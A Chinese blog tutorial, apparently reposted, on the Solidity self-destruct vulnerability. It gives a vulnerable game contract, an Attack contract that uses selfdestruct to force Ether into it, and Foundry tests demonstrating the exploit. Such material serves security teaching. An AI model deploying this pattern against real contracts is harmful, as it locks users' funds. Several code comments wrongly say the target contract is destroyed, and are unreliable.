区块链安全常见的攻击——自毁漏洞(Self-Destruct Vulnerability)【2】
区块链安全常见的攻击合约和简单复现,附带详细分析——自毁漏洞(Self-Destruct Vulnerability)【2】
1、自毁漏洞(Self-Destruct Vulnerability)
1.1 漏洞合约
contract EtherGame {
uint public constant targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance; // vulnerable
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
1.2 漏洞分析
deposit函数用来存放资金到ethergame合约,每次只允许存放1 ether,当ethergame合约的资金达到7ether,设置赢家为存放者,并且停止存放。如果通过非法的手段存入资金使得ethergame合约金额达到7,那么赢家无法再设置,始终为0x000000,因此游戏被破坏。
1.3 攻击分析
1、部署一个Attack合约,里面有一个dos函数,函数调用了selfdestruct(addr)函数
2、addr设置为ethergame合约地址
2、攻击者调用dos,同时给attack合约发送资金(资金金额是ethergame合约还差多少达到7ether)
3、这样会触发selfdestruct,自我销毁会把Attack合约里的资金强制发送给ethergame合约,使其达到7ether,而winner无法设置。
1.4 攻击合约
contract ContractTest is Test {
EtherGame EtherGameContract; // EtherGame 合约实例
Attack AttackerContract; // 攻击合约实例
address alice; // Alice 地址
address eve; // Eve 地址
address Attacker; // Attacker 地址
// 设置测试环境
function setUp() public {
EtherGameContract = new EtherGame();
alice = vm.addr(1); // 模拟 Alice 地址
eve = vm.addr(2); // 模拟 Eve 地址
vm.deal(address(alice), 1 ether); // 为 Alice 分配 1 Ether
vm.deal(address(eve), 1 ether); // 为 Eve 分配 1 Ether
Attacker = vm.addr(3); // 模拟 Attacker 地址
vm.deal(address(Attacker), 6 ether); // 为 Attacker 分配 1 Ether
}
function testSelfdestruct() public {
console.log("Alice balance", alice.balance); // 打印 Alice 的初始余额
console.log("Eve balance", eve.balance); // 打印 Eve 的初始余额
console.log("Alice deposit 1 Ether...");
vm.prank(alice);
EtherGameContract.deposit{value: 1 ether}(); // Alice 存入 1 Ether
console.log("Eve deposit 1 Ether...");
vm.prank(eve);
EtherGameContract.deposit{value: 1 ether}(); // Eve 存入 1 Ether
console.log(
"Balance of EtherGameContract",
address(EtherGameContract).balance
); // 打印 EtherGame 合约的余额
console.log("winner : ", EtherGameContract.winner());
console.log("Attack...");
AttackerContract = new Attack(EtherGameContract); // 部署攻击合约并传入 EtherGame 的地址
AttackerContract.dos{value: 5 ether}(); // 调用攻击合约的 dos 函数并发送 5 Ether
console.log(
"Balance of EtherGameContract",
address(EtherGameContract).balance
); // 打印攻击后的 EtherGame 合约余额
console.log("After, winner : ", EtherGameContract.winner());
console.log("Exploit completed, Game is over");
EtherGameContract.deposit{value: 1 ether}(); // 由于合约被销毁,此调用将失败
}
}
contract Attack {
EtherGame etherGame; // 目标 EtherGame 合约
// 初始化攻击合约
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame); // 绑定目标合约
}
// 攻击函数:通过 selfdestruct 销毁目标合约
function dos() public payable {
// 通过发送额外的以太币,使游戏余额达到 7 Ether,从而破坏游戏
address payable addr = payable(address(etherGame)); // 转换为 payable 地址
selfdestruct(addr); // 调用 selfdestruct 将以太币和字节码一起销毁
}
}
1.5 正常游戏情况,合约金额达7ether会有winner
function testSelfdestruct() public {
console.log("Alice balance", alice.balance); // 打印 Alice 的初始余额
console.log("Eve balance", eve.balance); // 打印 Eve 的初始余额
console.log("Alice deposit 1 Ether...");
vm.prank(alice);
EtherGameContract.deposit{value: 1 ether}(); // Alice 存入 1 Ether
console.log("Eve deposit 1 Ether...");
vm.prank(eve);
EtherGameContract.deposit{value: 1 ether}(); // Eve 存入 1 Ether
console.log(
"Balance of EtherGameContract",
address(EtherGameContract).balance
); // 打印 EtherGame 合约的余额
console.log(" winner : ", EtherGameContract.winner()); // 打印 EtherGame winner
console.log("Attacker starts depositing 1 Ether 5 times...");
for (uint i = 0; i < 5; i++) {
vm.prank(Attacker);
EtherGameContract.deposit{value: 1 ether}(); // Attacker 每次存入 1 Ether
}
console.log(
"After, Balance of EtherGameContract",
address(EtherGameContract).balance
); // 打印 EtherGame 合约的余额
console.log(
"Balance of EtherGameContract",
address(EtherGameContract).balance
); // 打印攻击后的 EtherGame 合约余额
console.log("After, winner : ", EtherGameContract.winner()); // 打印 EtherGame winner
console.log("Exploit completed, Game is over");··
EtherGameContract.deposit{value: 1 ether}(); // 由于合约被销毁,此调用将失败
}
原文地址:https://blog.csdn.net/weixin_43458715/article/details/143877114
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!